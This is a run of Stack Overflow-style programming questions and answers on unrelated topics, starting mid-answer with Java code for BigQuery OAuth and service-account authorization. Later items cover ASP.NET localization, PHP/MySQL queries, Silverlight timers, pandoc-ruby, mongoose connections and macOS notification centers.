(storedRefreshToken != null) { // Request a new Access token using the refresh token. GoogleCredential credential = createCredentialWithRefreshToken( HTTP_TRANSPORT, JSON_FACTORY, new TokenResponse().setRefreshToken(storedRefreshToken)); credential.refreshToken(); bigquery = buildService(credential); // If there is no refresh token (or token.properties file), start the OAuth // authorization flow. } else { String authorizeUrl = new GoogleAuthorizationCodeRequestUrl( clientSecrets, REDIRECT_URI, Collections.singleton(BigqueryScopes.BIGQUERY)).setState("").build(); System.out.println("Paste this URL into a web browser to authorize BigQuery Access:\n" + authorizeUrl); System.out.println("... and type the code you received here: "); BufferedReader in = new BufferedReader(new InputStreamReader(System.in)); String authorizationCode = in.readLine(); // Exchange the auth code for an access token and refesh token Credential credential = exchangeCode(authorizationCode); // Store the refresh token for future use. storeRefreshToken(credential.getRefreshToken()); bigquery = buildService(credential); } // Make API calls using your client. listDatasets(bigquery, PROJECT_NUMBER); } /** * Builds an authorized BigQuery API client. */ private static Bigquery buildService(Credential credential) { return new Bigquery.Builder(HTTP_TRANSPORT, JSON_FACTORY, credential).build(); } /** * Build an authorization flow and store it as a static class attribute. */ static GoogleAuthorizationCodeFlow getFlow() { if (flow == null) { flow = new GoogleAuthorizationCodeFlow.Builder(HTTP_TRANSPORT, JSON_FACTORY, clientSecrets, Collections.singleton(BigqueryScopes.BIGQUERY)) .setAccessType("offline").setApprovalPrompt("force").build(); } return flow; } /** * Exchange the authorization code for OAuth 2.0 credentials. */ static Credential exchangeCode(String authorizationCode) throws IOException { GoogleAuthorizationCodeFlow flow = getFlow(); GoogleTokenResponse response = flow.newTokenRequest(authorizationCode).setRedirectUri(REDIRECT_URI).execute(); return flow.createAndStoreCredential(response, null); } /** * No need to go through OAuth dance, get an access token using the * existing refresh token. */ public static GoogleCredential createCredentialWithRefreshToken(HttpTransport transport, JsonFactory jsonFactory, TokenResponse tokenResponse) { return new GoogleCredential.Builder().setTransport(transport) .setJsonFactory(jsonFactory) .setClientSecrets(clientSecrets) .build() .setFromTokenResponse(tokenResponse); } /** * Helper to load client ID/Secret from file. */ private static GoogleClientSecrets loadClientSecrets() { try { GoogleClientSecrets clientSecrets = GoogleClientSecrets.load(new JacksonFactory(), BigQueryInstalledAuthDemo.class.getResourceAsStream(CLIENTSECRETS_LOCATION)); return clientSecrets; } catch (Exception e) { System.out.println("Could not load clientsecrets.json"); e.printStackTrace(); } return clientSecrets; } /** * Helper to store a new refresh token in token.properties file. */ private static void storeRefreshToken(String refresh_token) { Properties properties = new Properties(); properties.setProperty("refreshtoken", refresh_token); System.out.println(properties.get("refreshtoken")); try { properties.store(new FileOutputStream("token.properties"), null); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } /** * Helper to load refresh token from the token.properties file. */ private static String loadRefreshToken(){ Properties properties = new Properties(); try { properties.load(new FileInputStream("token.properties")); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return (String) properties.get("refreshtoken"); } /** * * List available Datasets. */ public static void listDatasets(Bigquery bigquery, String projectId) throws IOException { Datasets.List datasetRequest = bigquery.datasets().list(projectId); DatasetList datasetList = datasetRequest.execute(); if (datasetList.getDatasets() != null) { List&lt;DatasetList.Datasets&gt; datasets = datasetList.getDatasets(); System.out.println("Available datasets\n----------------"); for (com.google.api.services.bigquery.model.DatasetList.Datasets dataset : datasets) { System.out.format("%s\n", dataset.getDatasetReference().getDatasetId()); } } } } </code></pre> <p>An alternative to authorization via storing and using a refresh token to acquire a new access token in your installed application is to use a <a href="https://developers.google.com/accounts/docs/OAuth2ServiceAccount" rel="nofollow">server to server service account authorization</a> flow. In this case, your application will need to be able to securely store and use a unique private key. Here is an example of this type of flow using the Google Java API Client:</p> <pre><code>import com.google.api.client.http.HttpTransport; import com.google.api.client.http.javanet.NetHttpTransport; import com.google.api.client.json.JsonFactory; import com.google.api.client.json.jackson.JacksonFactory; import com.google.api.client.googleapis.auth.oauth2.GoogleCredential; import com.google.api.services.bigquery.Bigquery; import com.google.api.services.bigquery.Bigquery.Datasets; import com.google.api.services.bigquery.model.DatasetList; import java.io.File; import java.io.IOException; import java.security.GeneralSecurityException; public class JavaCommandLineServiceAccounts { private static final String SCOPE = "https://www.googleapis.com/auth/bigquery"; private static final HttpTransport TRANSPORT = new NetHttpTransport(); private static final JsonFactory JSON_FACTORY = new JacksonFactory(); private static Bigquery bigquery; public static void main(String[] args) throws IOException, GeneralSecurityException { GoogleCredential credential = new GoogleCredential.Builder().setTransport(TRANSPORT) .setJsonFactory(JSON_FACTORY) .setServiceAccountId("XXXXXXX@developer.gserviceaccount.com") .setServiceAccountScopes(SCOPE) .setServiceAccountPrivateKeyFromP12File(new File("my_file.p12")) .build(); bigquery = new Bigquery.Builder(TRANSPORT, JSON_FACTORY, credential) .setApplicationName("BigQuery-Service-Accounts/0.1") .setHttpRequestInitializer(credential).build(); Datasets.List datasetRequest = bigquery.datasets().list("publicdata"); DatasetList datasetList = datasetRequest.execute(); System.out.format("%s\n", datasetList.toPrettyString()); } } </code></pre>
16500581	0	Call different (localized) view based on current culture <p>I'm using <code>LocalizationAttribute</code> which implements <code>ActionFilterAttribute</code> to localize views. I simply put <code>[Localize]</code> on controller. I was using LocalizeStrings.resx files to apply based on which language is on current thread. Everything works for this simple case (with localized strings). Now I want to localize complete pages (not just strings).</p> <p>To acomplish this which approach do you use?</p> <p>Do I need to identify which thread is current on controller and based on that value to call view:</p> <pre><code>public ActionResult AboutUs() { switch (Thread.CurrentThread.CurrentUICulture.Name) { case "en-US": return View("EnglishUSView"); case "de-DE": return View("GermanView"); default: return View(); } return View(); } </code></pre> <p>or do you recommend something else ?</p>
2960535	0	 <p>You can <strong>relate</strong> things however you want. A popular approach is using non-sequential UUID values as identifiers so that you can query discrete data sources for related data.</p> <p>The problem is <strong>integrity</strong> ... without relational constraints, things can get messy. A well coded application can deal with this however.</p> <p>I would also ensure you use caching wherever popular to avoid the overhead of many datasources. </p>
3237987	0	 <p>Each element in the array is represented by a single object in Core Data so, yes, you have to create an object for each element. If you didn't have to do this then you wouldn't have an object graph in the first place. </p> <p>You do have to check for an existing object because every object in the Core Data stack is utterly unique. However, doing so is no more complicated than checking for the same data in an array or a SQL table. </p> <p>Core Data's strength is the management of data models with complex relationships between data entities. That is often overkill for data that is little more than a single, dumb table with no relationships. However, the ease of integration with the UI and other parts of the app/system usually pays for the up front overkill in inputting that single table. </p>
10593004	0	How do I change this query? <p>How do i change the SELECT query from this:</p> <pre><code>$tre = mysql_query("SELECT System_id, Full_name FROM accounts WHERE Full_name LIKE '". mysql_real_escape_string($_GET['q'])."%' LIMIT 5"); </code></pre> <p>To having this query below in $tre:</p> <pre><code>SELECT DISTINCT contacts.friend_id, accounts.full_name, accounts.system_id FROM contacts, accounts WHERE (contacts.system_id = '$sid' AND contacts.friend_id = accounts.system_id) OR (contacts.friend_id = '$sid' AND contacts.system_id = accounts.system_id) </code></pre> <p>I want the to place the second query inside of $tre = mysql_query(); </p> <p>I am having trouble doing so because the second query has brackets in them and being new i am not sure how to do it correctly.</p>
22598860	0	HTML Image Link not working properly in android phonegap app <p>I am developing a FM Radio streaming app. When user presses in toggle button the streaming should stop when clicked again it should start. </p> <p>streaming works fine but the portion where user needs to touch is not exactly coming on top of that toggle icon. Its coming slightly some where on the top portion of the icon. The portion I have circled and shown in picture.</p> <p>How to create Image button with simple css and html for this case </p> <pre><code>&lt;a href="#" style="position:fixed;top: 1%;left: 5%;" onclick="toggleAudio('http://kantipur-stream.softnep.com:7248');"&gt; &lt;img src="images/toggle.png"&gt; &lt;/a&gt; </code></pre> <p><img src="https://i.stack.imgur.com/tQIVL.png" alt="enter image description here"></p>
19262116	0	 <blockquote> <p>I used documentMode instead of simply checking (if(document.querySelector)) to help me debug this problem further</p> </blockquote>
24372774	0	 <p>Yes it will, assuming <code>&lt;src&gt;</code> is a directory in <code>ADD &lt;src&gt; &lt;dest&gt;</code>.</p> <p>The <a href="https://docs.docker.com/reference/builder/#add" rel="nofollow"><code>ADD</code></a> command is a bit tricky but mostly for the <code>&lt;dest&gt;</code> part. For instance, the <code>ADD</code> command behaves differently depending on when <code>&lt;dest&gt;</code> ends with a slash or not.</p>
1006453	0	 <p>That is one way. It's nice and simple, but a bit messy. You could get rid of the storyboard and on each tick, increment a local value by the tick interval and use that to set your time. You would then only have one time piece.</p> <p>Or... A more elegant and re-usable way would be to create a helper class that is a DependencyObject. I would also just use a StoryBoard with a DoubleAnimation an bind the Storyboard.Target to an instance of the DoubleTextblockSetter. Set the storyboard Duration to your time and set the value to your time in seconds. Here is the DoublerBlockSetterCode.</p> <pre><code>public class DoubleTextBlockSetter : DependencyObject { private TextBlock textBlock { get; private set; } private IValueConverter converter { get; private set; } private object converterParameter { get; private set; } public DoubleTextBlockSetter( TextBlock textBlock, IValueConverter converter, object converterParameter) { this.textBlock = textBlock; this.converter = converter; this.converterParameter = converterParameter; } #region Value public static readonly DependencyProperty ValueProperty = DependencyProperty.Register( "Value", typeof(double), typeof(DoubleTextBlockSetter), new PropertyMetadata( new PropertyChangedCallback( DoubleTextBlockSetter.ValuePropertyChanged ) ) ); private static void ValuePropertyChanged( DependencyObject obj, DependencyPropertyChangedEventArgs args) { DoubleTextBlockSetter control = obj as DoubleTextBlockSetter; if (control != null) { control.OnValuePropertyChanged(); } } public double Value { get { return (double)this.GetValue(DoubleTextBlockSetter.ValueProperty); } set { base.SetValue(DoubleTextBlockSetter.ValueProperty, value); } } protected virtual void OnValuePropertyChanged() { this.textBlock.Text = this.converter.Convert( this.Value, typeof(string), this.converterParameter, CultureInfo.CurrentCulture) as string; } #endregion } </code></pre> <p>Then you might have a format converter:</p> <pre><code>public class TicksFormatConverter : IValueConverter { TimeSpanFormatProvider formatProvider = new TimeSpanFormatProvider(); public object Convert(object value, Type targetType, object parameter, CultureInfo culture) { long numericValue = 0; if (value is int) { numericValue = (long)(int)value; } else if (value is long) { numericValue = (long)value; } else if (value is double) { numericValue = (long)(double)value; } else throw new ArgumentException("Expecting type of int, long, or double."); string formatterString = null; if (parameter != null) { formatterString = parameter.ToString(); } else { formatterString = "{0:H:m:ss}"; } TimeSpan timespan = new TimeSpan(numericValue); return string.Format(this.formatProvider, formatterString, timespan); } public object ConvertBack( object value, Type targetType, object parameter, CultureInfo culture) { throw new NotImplementedException(); } } </code></pre> <p>I almost forgot the TimespanFormatProvider. There is no format provider for timespan in Silverlight, so it appears.</p> <pre><code>public class TimeSpanFormatProvider : IFormatProvider, ICustomFormatter { public object GetFormat(Type formatType) { if (formatType != typeof(ICustomFormatter)) return null; return this; } public string Format(string format, object arg, IFormatProvider formatProvider) { string formattedString; if (arg is TimeSpan) { TimeSpan ts = (TimeSpan)arg; DateTime dt = DateTime.MinValue.Add(ts); if (ts &lt; TimeSpan.FromDays(1)) { format = format.Replace("d.", ""); format = format.Replace("d", ""); } if (ts &lt; TimeSpan.FromHours(1)) { format = format.Replace("H:", ""); format = format.Replace("H", ""); format = format.Replace("h:", ""); format = format.Replace("h", ""); } // Uncomment of you want to minutes to disappear below 60 seconds. //if (ts &lt; TimeSpan.FromMinutes(1)) //{ // format = format.Replace("m:", ""); // format = format.Replace("m", ""); //} if (string.IsNullOrEmpty(format)) { formattedString = string.Empty; } else { formattedString = dt.ToString(format, formatProvider); } } else throw new ArgumentNullException(); return formattedString; } } </code></pre> <p>All that stuff is re-usable and should live in your tool box. I pulled it from mine. Then, of course, you wire it all together:</p> <pre><code>Storyboard sb = new Storyboard(); DoubleAnimation da = new DoubleAnimation(); sb.Children.Add(da); DoubleTextBlockSetter textBlockSetter = new DoubleTextBlockSetter( Your_TextBlock, new TicksFormatConverter(), "{0:m:ss}"); // DateTime format Storyboard.SetTarget(da, textBlockSetter); da.From = Your_RefreshInterval_Secs * TimeSpan.TicksPerSecond; da.Duration = new Duration( new TimeSpan( Your_RefreshInterval_Secs * TimeSpan.TicksPerSecond)); sb.begin(); </code></pre> <p>And that should do the trick. An it's only like a million lines of code. And we haven't even written Hello World just yet...;) I didn't compile that, but I did Copy and Paste the 3 classes directly from my library. I've used them quite a lot. It works great. I also use those classes for other things. The TickFormatConverter comes in handy when data binding. I also have one that does Seconds. Very useful. The DoubleTextblockSetter allows me to animate numbers, which is really fun. Especially when you apply different types of interpolation.</p> <p>Enjoy.</p>
2345241	0	 <p>See <a href="http://deniskrjuchkov.blogspot.com/2010/02/oracle-challenge.html" rel="nofollow noreferrer">http://deniskrjuchkov.blogspot.com/2010/02/oracle-challenge.html</a> - I suspect there is an explanation of an issue you've faced.</p>
26724077	0	Automating ASP MVC.NET Web api documentation on the /Help page <p>I've been following the instructions that talk about creating help pages for the Web API, one example being <a href="http://www.asp.net/web-api/overview/getting-started-with-aspnet-web-api/creating-api-help-pages" rel="nofollow">http://www.asp.net/web-api/overview/getting-started-with-aspnet-web-api/creating-api-help-pages</a></p> <p>I know that to get descriptions for REST paths, you place these xml comments above the respective methods.</p> <pre><code>/// &lt;summary&gt; /// Looks up some data by ID. /// &lt;/summary&gt; /// &lt;param name="id"&gt;The ID of the data.&lt;/param&gt; </code></pre> <p>But say I have many paths or many Web API projects and I want to make this process a little faster. Where could I start if I wanted even simple 1 sentence descriptions to be automated. I would be ok, with simple description, maybe pulled from the name or convention of the method name and a mention of the parameter types that it expect. Just very simple stuff to build off of.</p> <p>I was thinking initially that this automation project would reside in the same solution as the Web API that you're targeting, it would just be another separate project. Thanks.</p>
10003292	0	 <p>Take a look at these</p> <p><a href="http://code.google.com/p/geoxml3/" rel="nofollow">The geoxml3 project is an effort to develop a KML processor for use with Version 3 of the Google Maps JavaScript API, it now allows access to individual markers, polylines and polygons, rendered from KML.</a></p> <p><a href="http://www.birdtheme.org/useful/v3tool.html" rel="nofollow">Some useful demos with KML</a></p>
4250209	0	 <p>Well, just do what the error message tells you.</p> <p>Don't call <code>setContentView()</code> before <code>requestFeature()</code>.</p> <p><strong>Note:</strong></p> <p>As said in comments, for both <code>ActionBarSherlock</code> and <code>AppCompat</code> library, it's necessary to call <code>requestFeature()</code> before <code>super.onCreate()</code></p>
22901498	0	 <p>the result of an <code>expr</code> is internally represented as a float. When you turn it back to a string in an implicit way, you get a lossless* string conversion, which is most readable in scientific notation, so that's what's used. If you don't want that, don't let tcl do the conversion, but be wary that you give up the exact string representation:</p> <pre><code>% puts [expr {1. / 8 / 1000000}] 1.25e-7 % puts [format "%f" [expr {1. / 8 / 1000000}]] 0.000000 % puts [format "%.20f" [expr {1. / 8 / 1000000}]] 0.00000012500000000000 </code></pre> <p><sub>*lossless only as of Tcl8.5</sub></p>
6916143	0	 <p>You should be fine sharing a single blob container reference as long as you are not trying to perform an update on the container itself (even then, I think it would still be fine in most scenarios like List). In fact, you don't really even need the container reference if you are sure it exists:</p> <pre><code>client.GetContainerReference("foo").GetBlobReference("bar"); client.GetBlobReference("foo/bar"); //same </code></pre> <p>As you can see, the only reason to get a container reference is if you want to perform an operation on the container itself (list, delete, etc.). If you keep the blob references in separate threads, you will be fine.</p>
7826094	0	 <p>Your code is working fine for me (Tested on <strong>firefox</strong> &amp; <strong>ie8</strong>).</p> <p>Am doubted, since you have pointed to same page for three hyperlinks. This might you confused to see that it is not redirecting to next page.</p> <p>Change the hyperlink filename for three links and test it, once again.</p>
18334943	0	pandoc-ruby error when running documented example <p>When running the following script using pandoc-ruby (directly from the documentation) I get an error.</p> <pre><code>require 'rubygems' require 'pandoc-ruby' puts PandocRuby.convert('# Markdown Title', :from =&gt; :markdown, :to =&gt; :html) </code></pre> <p>Output:</p> <pre><code>[dan@FIOS-RH test-markdown]$ ruby convert.rb /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:250:in `format_flag': undefined method `length' for :from:Symbol (NoMethodError) from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:241:in `create_option' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:225:in `prepare_options' from /usr/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `inject' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:222:in `each' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:222:in `inject' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:222:in `prepare_options' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:227:in `prepare_options' from /usr/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `inject' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:222:in `each' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:222:in `inject' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:222:in `prepare_options' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:131:in `convert' from /usr/lib/ruby/gems/1.8/gems/pandoc-ruby-0.7.4/lib/pandoc-ruby.rb:86:in `convert' from convert.rb:3 [dan ]$ pandoc --version pandoc 1.11.1 ... [dan ]$ ruby --version ruby 1.8.7 (2011-06-30 patchlevel 352) [x86_64-linux] pandoc-ruby version: 0.7.4 </code></pre> <p>Am I missing something obvious?</p>
22559948	0	 <p>I have done a simple communication from an open frameworks client to a node.js server via OSC protocol. It is very popular in the OF world, and it can be read by a bunch of similar software and frameworks (processing.org, PureData, VVVV, Max/MSP, etc)</p> <p>Here you have some different chooses for OSC implementation via UDP:</p> <p><a href="https://nodejsmodules.org/tags/osc" rel="nofollow">https://nodejsmodules.org/tags/osc</a></p>
246423	0	 <p>Probably by modifying the "System Power States" as <a href="http://www.codeproject.com/KB/mobile/WiMoPower1.aspx" rel="nofollow noreferrer">described here</a> (but in c#)</p> <p>That article also describes a way to prevent the mobile device to sleep (which is not exactly what you may want), by calling the native function SystemIdleTimerReset() periodically (to prevent the device from powering down).</p>
5070173	0	 <p>A little late reply here, but right now, in Texas, I've got my nephew digging a 60in X 16in X 4ft hole just outside my home office. Into it I'll be placing a 40ft copper tubing "radiator". This with be the "core" of a geothermal loop to cool my mac. Yeah, it's wildly watercooled because the mods cause me to exceed the TDP (it's a MacPro1,1) of the case, but even before that my office got uncomfortably hot. Now it just causes my computer to shut down when I try to encode video. Not good.</p> <p>In the UK you should be able to do the same (well, cool your room at least) with just a ground loop, a cheap pump, and a fan with more copper tubing coiled behind it. My project has ended up costing me quite a bit because of its complexity and mistakes make along the way, but a simple system to cool just the room should cost less than £150-200 and is definitely a DIY project you and your dad could do.</p> <p>One of of the biggest reasons to do this are the electricity (cooling) costs saved for me, literally several hundred $ per year. And it's "Green" cooling. But the biggest reason is for the amount of science I've learned in the past 3 months.</p> <p>Talk to your Dad about it. It's been fun, and would be a good project for a young Scottish engineer!</p>
24980200	0	 <p>You asked about Java, but in case you meant something more basic I will try to answer more generally.</p> <p>Given a Filter Coefficients (You have an approximation of the Laplacian filter) the way to apply it on an image is <a href="http://en.wikipedia.org/wiki/Convolution" rel="nofollow">Convolution</a> (Assuming the Filter is LSI - Linear Spatially Invariant).</p> <p>The convolution can be computed directly (Loops) of in the frequency domain (Using <a href="http://en.wikipedia.org/wiki/Convolution_theorem" rel="nofollow">Convolution Theorem</a>).</p> <p>There are few things to consider (Real World Problems):</p> <ol> <li>The convolution "Asks" for pixels beyond the image. Hence boundary conditions should be imposed ("Pixels" beyond the image are zero, constant, nearest neighbor, etc...).</li> <li>The result of the convolution is bigger then the input image due to the "Filter Transient". Again, logical decision should be made.</li> <li>If you're limited to Fixed Point math, proper scaling should be made after the operation (Rule of Thumb, built to keep the image mean, says the sum of all filter coefficients should be 1, hence you need the scaling).</li> </ol> <p>Good Luck.</p>
26764482	0	 <p>Javascript will let you access all the styles applied to the document. Check each one to see if it contains the color.</p> <p><strong>CSS</strong></p> <pre><code>&lt;style&gt; .first-selector div { color: #3C3C3C; } .second-selector span { background-color: #3C3C3C; } .third-selector { border: 1px solid #3C3C3C; } .fourth-selector .nothing { color: red; } &lt;/style&gt; </code></pre> <p><strong>JS:</strong></p> <pre><code>&lt;script&gt; function getColorRules(color) { //convert hex to rgb, since hex color styles are internally stored as rgb if (/[#]{0,1}[0-9A-F]{6}/.test(color)) { color = color.replace('#', ''); var r = parseInt(color.substr(0, 2), 16); var g = parseInt(color.substr(2, 2), 16); var b = parseInt(color.substr(4, 2), 16); color = "rgb(" + r + ", " + g + ", " + b + ")"; } var returnArray = []; //grab all stylesheets var sheets = document.styleSheets; for (var i in sheets) { //to work in FF or chrome var rules = sheets[i].rules || sheets[i].cssRules; for (var r in rules) { //console.log(rules[r]); if (rules[r].cssText !== undefined) { //ignore empty or non css properties if (rules[r].cssText.indexOf(color) &gt; -1) //if the color is found in the style rule { //add it to an array var style = { selector: rules[r].selectorText, style: rules[r].style.cssText.split(":")[0] }; returnArray.push(style); } } } } return returnArray; } console.log(getColorRules("#3C3C3C")); //[{ selector=".first-selector div", style="color"}, { selector=".second-selector span", style="background-color"}, { selector=".third-selector", style="border"}] console.log(getColorRules("red")); // [{ selector=".fourth-selector .nothing", style="color"}] &lt;/script&gt; </code></pre>
14711145	0	 <p>Try to check in web.inf file if by any parameter is their from where you can change the date. Otherwise as earlier comment change the system date and restart the server.</p>
30270397	0	 <p>It depends on what browsers you want to support. You could use</p> <pre><code>label { all: initial; // or all: unset } </code></pre> <p>but be aware that it's not really widely supported yet. It works on IE 11, Firefox, Opera &amp; Chrome, but not Safari or most mobile browsers. Still, a good one to know if and when it becomes more widely supported :)</p>
6833440	0	 <p>You have to use the same string replacement as with AR find</p> <p><code>Listing.find_by_sql(["SELECT * FROM listings WHERE industry = ?", @user_industry])</code></p> <p><a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#method-c-find_by_sql">API documentation</a></p>
6203699	0	 <p>You can iterate over the returned drives from your WMI query and add the deviceid and "Disk GB" results to a string value. Then you can write the resulting string value to the Excel cell. One way to do this would be like this:</p> <pre><code>$a = New-Object -comobject Excel.Application $a.Visible = $True $b = $a.Workbooks.Add() $c = $b.Worksheets.Item(1) $outputstring = "" foreach ($drive in $driveinfo) { $outputstring += "$($drive.deviceid) $($drive."Disk GB") GB`n" } $c.cells.item(1,1) = $outputstring </code></pre>
22170922	0	 <p>Yes you do. The Primary key is what allows the many to one relationship to exist.</p> <p>This requirement is already catered for by the branch_id column. </p> <p>The item_id column is not required for the one-to-many relationship in your example.</p>
8132598	0	 <p>If you don't want the previous <code>Activity</code> to be shown on the back button press, you can specify this in the AndroidManifest.xml like:</p> <pre><code>&lt;activity android:name="sample.activity.MyActivity" android:noHistory="true" /&gt; </code></pre> <p>This will prevent the <code>Activity</code> from being put into the history stack and allow the back button to quit (assuming you add the noHistory flag to every previous <code>Activity</code>) </p>
503687	0	 <pre><code>Select Case Product WHEN 'Banana' Then 'Fruit' WHEN 'Apple' Then 'Fruit' WHEN 'Orange' Then 'Fruit' ELSE Product END FROM Table </code></pre>
3089521	0	 <p>Looking in the Migration Guide there's a section called <a href="http://publib.boulder.ibm.com/infocenter/wmqv7/v7r0/topic/com.ibm.mq.csqzao.doc/mi10970_.htm" rel="nofollow noreferrer">Upgrading a WebSphere MQ client from Version 6.0 to Version 7.0</a> which suggests a possible explanation. It states that as of v7 the TCP tuning is stored in the client configuration file. So if you have enabled TCP Keepalive in the Windows registry, the v7 client will ignore it. The format and location of the file is described in <a href="http://publib.boulder.ibm.com/infocenter/wmqv7/v7r0/topic/com.ibm.mq.csqzaf.doc/cs13350_.htm" rel="nofollow noreferrer">WebSphere MQ client configuration file</a>.</p> <p>Of course for this to be the problem, there has to be a socket leak. You did not mention which version of WMQ V7 client you have but the Fix Pack README files do show a number of APARs related to socket leaks, failure to clean up after disconnects and so forth. None of these directly mention C# or .Net but there are enough problems around connection/disconnection issues to make it worth an upgrade.</p> <p>So first &amp; easiest fix to attempt is to add TCP Keepalive to the client configuration file and see if it helps. Disable connection sharing while you are in there as well. It's not supposed to be a factor but then it's not supposed to leak sockets either. Can't hurt. Next is to apply <a href="http://www-01.ibm.com/support/docview.wss?rs=171&amp;uid=swg27006037" rel="nofollow noreferrer">Fix Pack 7.0.1.2</a> (latest as of this writing) and see if that fixes the problem. After that, it's PMR time. Hope that helps.</p>
1809795	0	 <p>At the very least you can now output assembler from gcc like this:</p> <p><code>gcc -c -S test.c -o test.asm</code></p> <p>Then you can inspect the output of generated C code for educational purposes.</p>
16273022	0	 <p>Visual Studio Test Explorer window has integration with Visual Studio Profiler. You just need to right click on the Test in the Test Explorer window and choose Profile Test.</p> <p><img src="https://i.stack.imgur.com/r4FkD.png" alt="enter image description here"></p>
20568435	0	 <p>You have to add rule like this. </p> <pre><code>'rules'=&gt;array( 'site/index/city/&lt;city:.*?&gt;'=&gt;'site/index', '&lt;controller:\w+&gt;/&lt;id:\d+&gt;'=&gt;'&lt;controller&gt;/view', '&lt;controller:\w+&gt;/&lt;action:\w+&gt;/&lt;id:\d+&gt;'=&gt;'&lt;controller&gt;/&lt;action&gt;', '&lt;controller:\w+&gt;/&lt;action:\w+&gt;'=&gt;'&lt;controller&gt;/&lt;action&gt;', ), </code></pre>
26887744	0	 <p>You need to combine all of the product IDs into an array and use <em>that</em> as the value for ecomm_prodid. There should only ever be one google_tag_params assignment, not multiple (unless you are doing something crazy with multiple firings of the tag which probably isn't a good idea...)</p> <p>For example, say you had your 12 products. For the sake of clarity lets say that the IDs are 1,2,3,4,5,6,7,8,9,10,11,12.</p> <p>This is what you want to get to:</p> <pre><code>&lt;script type='text/javascript'&gt; var google_tag_params = { ecomm_prodid: [1,2,3,4,5,6,7,8,9,10,11,12], ecomm_pagetype: 'product', ecomm_totalvalue: 1974.99 }; &lt;/script&gt; </code></pre> <p>Note that the ecomm_totalvalue should be a sum of the values of all products that are in the ecomm_prodid array, and should be a normal Number and not a string (no commas, no $ or £ etc)</p> <p>So, something like this:</p> <pre><code>var products = [{'id':'1','price':9.99},{'id':'2','price':4.99}]; var ids = []; var total = 0; $.each(products, function(key, value){ ids.push(value.id); total += Number(value.price); }); var google_tag_params = { ecomm_prodid: ids, ecomm_pagetype: 'product', ecomm_totalvalue: total }; </code></pre> <p>This would then be equivalent of something like this:</p> <pre><code>var google_tag_params = { ecomm_prodid: ["1", "2"], ecomm_pagetype: "product", ecomm_totalvalue: 14.98 }; </code></pre>
16683226	0	 <pre><code>select color from table_name where width = $value and length = $value2 and height = $value3 </code></pre> <p>I assume you mean using SQL....</p>
28950544	0	 <p>There are two problems with your code as far as I can see:</p> <p>You seem not to not even connect to mongo. In order to connect to mongo using mongoose you have to use</p> <pre><code>mongoose.connect('mongodb://...'); </code></pre> <p>Also, your database.js is not valid javascript. It's not the connection string itself that's the problem, but rather that you don't assign in to a variable.</p> <p>A correct way would be to assign the connection string to a property like this:</p> <pre><code>module.exports = { connString: 'mongodb://username:password@ds033669.mongolab.com:33669/dclubdb' }; </code></pre> <p>and then you could connect with</p> <pre><code>mongoose.connect(configDB.connString); </code></pre>
36219523	0	Mac OS X how many NSNotification centers are there on a workstation-mac <h1>Short question</h1> <p>on a workstation-mac (MacPro) I found 3 NSNotification centers:</p> <h2>call (swift)</h2> <pre><code>// 1. NSWorkspace Center let theWorkspaceCenter = NSWorkspace.sharedWorkspace ().notificationCenter // 2. NSDistributedNotification Center let theNSDistributedNotificationCenter = NSDistributedNotificationCenter.defaultCenter () // 3. Default Center let theDefaultCenter = NSNotificationCenter.defaultCenter () </code></pre> <p>Are there any more NSNotification centers?</p> <hr> <h1>Longer description</h1> <p><strong>1. NSWorkspace Center</strong></p> <h2>call (swift)</h2> <pre><code>let theWorkspaceCenter = NSWorkspace.sharedWorkspace ().notificationCenter </code></pre> <ul> <li>Very few notifications</li> </ul> <h2>Typical notifications</h2> <ul> <li>Computer goes to sleep</li> <li>Computer wakes from sleep</li> <li>Volume gets mounted / unmounted</li> </ul> <h2>Example</h2> <pre><code>NSWorkspaceScreensDidWakeNotification NSWorkspaceWillUnmountNotification </code></pre> <hr> <p><strong>2. NSDistributedNotification Center</strong></p> <h2>call (swift)</h2> <pre><code>let theNSDistributedNotificationCenter = NSDistributedNotificationCenter.defaultCenter () </code></pre> <ul> <li>Regular notifications</li> </ul> <h2>Typical notifications</h2> <ul> <li>Menue tracking</li> <li>Application comes to foreground</li> <li>backup</li> <li>systemBeep</li> <li>0:00 dayChange</li> </ul> <h2>Example</h2> <pre><code>com.apple.HIToolbox.beginMenuTrackingNotification com.apple.HIToolbox.frontMenuBarShown com.apple.backupd.NewSystemBackupAvailableNotification com.apple.systemBeep com.apple.calendar.DayChanged </code></pre> <hr> <p><strong>3. Default Center</strong></p> <h2>call (swift)</h2> <pre><code>let theDefaultCenter = NSNotificationCenter.defaultCenter () </code></pre> <ul> <li>Very much notifications (hundreds / thousands within a few seconds)</li> </ul> <h2>Example</h2> <pre><code>NSApplicationDidUpdateNotification NSViewNeedsDisplayInRectNotification NSWindowDidUpdateNotification </code></pre> <p>Thanks for any hint!</p>
5573525	0	 <p>Typically, how I like to do it is to have a couple of different directories. Something like this:</p> <p><strong><code>Trunk</code></strong> (deploy here)</p> <pre><code> - Production - Staging - Development/whatever </code></pre> <p><strong><code>Branches</code></strong> (develop here)</p> <pre><code> - Master Branch (primary) - Secondary/Tertiary Branches </code></pre> <p><strong><code>Tags</code></strong> (Archive here)</p> <pre><code> - Name a tag appropriately (timestamp, version, edits) </code></pre> <p>Hope this helps. Feel free to ask questions.</p>
